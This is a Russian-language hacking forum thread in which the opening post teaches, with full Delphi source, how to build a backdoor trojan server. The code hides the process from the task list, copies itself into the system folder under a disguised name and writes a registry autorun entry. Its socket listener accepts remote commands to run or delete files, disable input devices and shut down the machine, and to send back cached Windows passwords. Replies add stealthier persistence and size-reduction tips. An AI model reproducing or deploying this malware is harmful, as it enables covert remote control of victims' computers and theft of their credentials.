Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
Показано с 1 по 4 из 4
  1. #1
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для S3ct0r

    Статус
    Offline
    Регистрация
    30.03.2014
    Сообщений
    459
    Репутация
    202 + / -
    Другое

    Пишем троян BackDoor на Delphi

    BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия.

    Для начала будет создавать сервер. Войдем в Delphi, нажимаем File -> New Application. У нас появляется пустая форма, назовем её frmsrv.

    Нажимаем Project -> View Source, стираем там все и пишем:

    code:

    program Server;
    uses
    Forms,
    Unit1 in 'Unit1.pas' {frmsrv};
    begin
    Application.Initialize;
    Application.CreateForm(TFrmsrv, frmsrv);
    Application.ShowMainForm:=false; //чтобы главная форма не показывалась
    Application.Run;
    end.
    Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM}

    code:

    Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

    Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;

    procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del
    var
    hndl : thandle;
    registerserviceprocess : tregisterserviceprocess;
    begin
    try
    hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку
    registerserviceprocess:=getprocaddress(hndl,'Regis terServiceProcess');
    registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess
    freelibrary(hndl); // выгружаем библиотеку из памяти
    except end;
    end;
    function WinDir: string;
    var
    intLen:integer;
    strBuffer:string;
    begin
    SetLength(strBuffer,1000);
    intLen:=GetWindowsDirectory(PChar(strBuffer),1000) ;
    WinDir:=Trim(Copy(strBuffer,1,intLen));
    end;
    function SysDir: string; // Определение системной папки
    var
    intLen:integer;
    strBuffer:string;
    begin
    SetLength(strBuffer,1000);
    intLen:=GetSystemDirectory(PChar(strBuffer),1000);
    SysDir:=Trim(Copy(strBuffer,1,intLen));
    end;
    procedure Install;
    var
    Reg:TRegistry;
    cPath,Win:string;
    begin
    try
    Win:=SysDir+’sys32.exe’; // Путь в системной папке
    cPath:=Application.ExeName; // Путь к нашему exe-файлу
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Run',False);
    //Открвыем ключ
    //автозапуска

    code:
    Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе
    Reg.CloseKey; // Закрываем ключ
    Reg.Free;
    if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то
    begin
    if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить
    CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.
    end;
    except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini

    end;
    Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем:

    code:
    procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);
    var comd,param,str1,tmp: string;
    i:integer;
    Reg:Tregistry;
    begin
    str1:=socket.receivetext; // Принимаем данные от клиента
    i:=pos('!?!',str1);
    comd:=copy(str1,0,i-1);
    param:=copy(str1,i+3,length(str1)-i);
    if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп!
    begin
    ExitWindowsEx(EWX_REBOOT, 0);
    Socket.SendText('tmp!?!Перезагружает я...');
    end;
    if comd='opCD' then //открыть сидюк
    begin
    mciSendString(Pchar('set cdaudio door open'),nil,0,0);
    Socket.SendText('tmp!?!CD-ROM открыт...');
    end;
    if comd='clCD'then
    begin
    mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
    Socket.SendText('tmp!?!CD-ROM закрыт...');
    end;
    if comd='dir'then //получить список файлов
    begin
    tmp:='file!?!'+ShowFile(param);
    Socket.SendText(tmp);
    end;
    if comd='run' then //запустить файл
    begin
    if FileExists (param) then
    begin
    ShellExecute(handle,'Open',PChar(param),nil,nil,1) ;
    Socket.SendText('tmp!?!Файл запущен...');
    end
    else
    Socket.SendText('tmp!?!Не удалось запустить файл...');
    end;
    if comd='del' then //удалить файл
    begin

    if FileExists (param) then
    begin
    DeleteFile(param);
    Socket.SendText('tmp!?!Файл удален...');
    end
    else
    Socket.SendText('tmp!?!Не удалось удалить файл...');
    end;
    if comd='boot' then
    begin
    ExitWindowsEx(EWX_SHUTDOWN, 0);
    Socket.SendText('tmp!?!Комп выключатеся...');
    end;
    if comd='getpass' then //получить кешированные пароли
    begin
    Socket.SendText('pass!?!'+GetPasswords);
    end;
    if comd='close' then // закрыть сервер
    begin
    Socket.SendText('tmp!?!Сервер Закрыт...');
    Application.Terminate;
    exit;
    end;
    if comd='killme' then
    begin
    Socket.SendText('tmp!?!Сервер удален...');
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Run',False);
    //Открываем ключ
    //автозапуска

    code:
    Reg.deletevalue('Sys32'); // Удаляем
    Reg.Free;
    Application.Terminate;
    exit;
    end;
    if comd='dismouse' then // отключаем мышь
    begin
    Socket.SendText('tmp!?!Мышь отключена...');
    WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL);
    end;
    if comd='diskey' then // отключаем клаву
    begin
    Socket.SendText('tmp!?!Клава отключена...');
    WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL);
    end;
    if comd='msg' then // выдаем месагу
    begin
    MessageBox(application.Handle,PChar(param),'',32);
    Socket.SendText('tmp!?!Сообщение послано...');
    end;
    end;
    В процедуре создания формы пишем:
    procedure TFrmSrv.FormCreate(Sender: TObject);
    begin
    HideACD; // прячемся от Ctrl+Alt+Del
    Install; // устанавливаемся
    SrvMain.Open; // открываем порт
    SrvMain.Active:=true;
    end;
    И функции для получения паролей и списка файлов.

    code:
    var
    Count:Integer;
    FPasswords:string;
    function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall;
    var
    Password:string;
    PC: array [0..$FF] of Char;
    begin
    Inc(Count);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size);
    PC[WinPassword.ResourceSize] := #0;
    CharToOem(PC,PC);
    Password:=StrPas(PC);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize);
    Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);
    PC[WinPassword.PasswordSize]:=#0;
    CharToOem(PC,PC);
    Password:=Password + ': ' + StrPas(PC);
    if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
    FPasswords:=FPasswords + Password + #13#10;
    Result:=True;
    end;
    function TFrmSrv.GetPasswords:string;
    var
    hndl : thandle;
    WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
    begin
    try
    hndl:=loadlibrary('MPR.DLL');
    WNetEnumCachedPasswords:=getprocaddress(hndl,'WNet EnumCachedPasswords');
    Count:=0;
    FPasswords:='';
    WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);
    freelibrary(hndl);
    except end;
    Result:=FPasswords;
    end;
    Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать.Размер сервера получился не маленьким, но если сжать упаковщик, то будет всего 150 КБ.

    Ну вот и рассмотрели пример простейшего BackDoor’a на Delphi. Не так то уж это и сложно.

  2. 2 пользователя(ей) сказали cпасибо:
  3. #2
    Trust
    Аватар для ul1k317

    Статус
    Offline
    Регистрация
    26.08.2013
    Сообщений
    823
    Репутация
    395 + / -
    Web-программист
    Как использовать компонент TServerSocket без юнита Forms ?
    Потому что если отказаться от Forms мы существенно сократим размер.
    И кстати можно не в реестр класть, а в автозапуск под именем dxdiag например. При запуске следить если файл из автозапуска удален, то кладем туда копию.
    php, mysql, mssql, js, html, css, ajax, administrating, it consulting, etc.

  4. #3
    Аватар для axitpl

    Статус
    Offline
    Регистрация
    06.12.2013
    Сообщений
    293
    Репутация
    79 + / -
    Программист
    Цитата Сообщение от dsda Посмотреть сообщение
    Как использовать компонент TServerSocket без юнита Forms ?
    Потому что если отказаться от Forms мы существенно сократим размер.
    И кстати можно не в реестр класть, а в автозапуск под именем dxdiag например. При запуске следить если файл из автозапуска удален, то кладем туда копию.
    Я конечно не знаток Delphi, но можно попробовать через динамическое создание объекта, описать методы TServerSocket через создание своего класса на его основе, по идее должно работать.

  5. #4
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для S3ct0r

    Статус
    Offline
    Регистрация
    30.03.2014
    Сообщений
    459
    Репутация
    202 + / -
    Другое
    ребята ето на скорую руку, для тех кто не знает )))

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  

Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.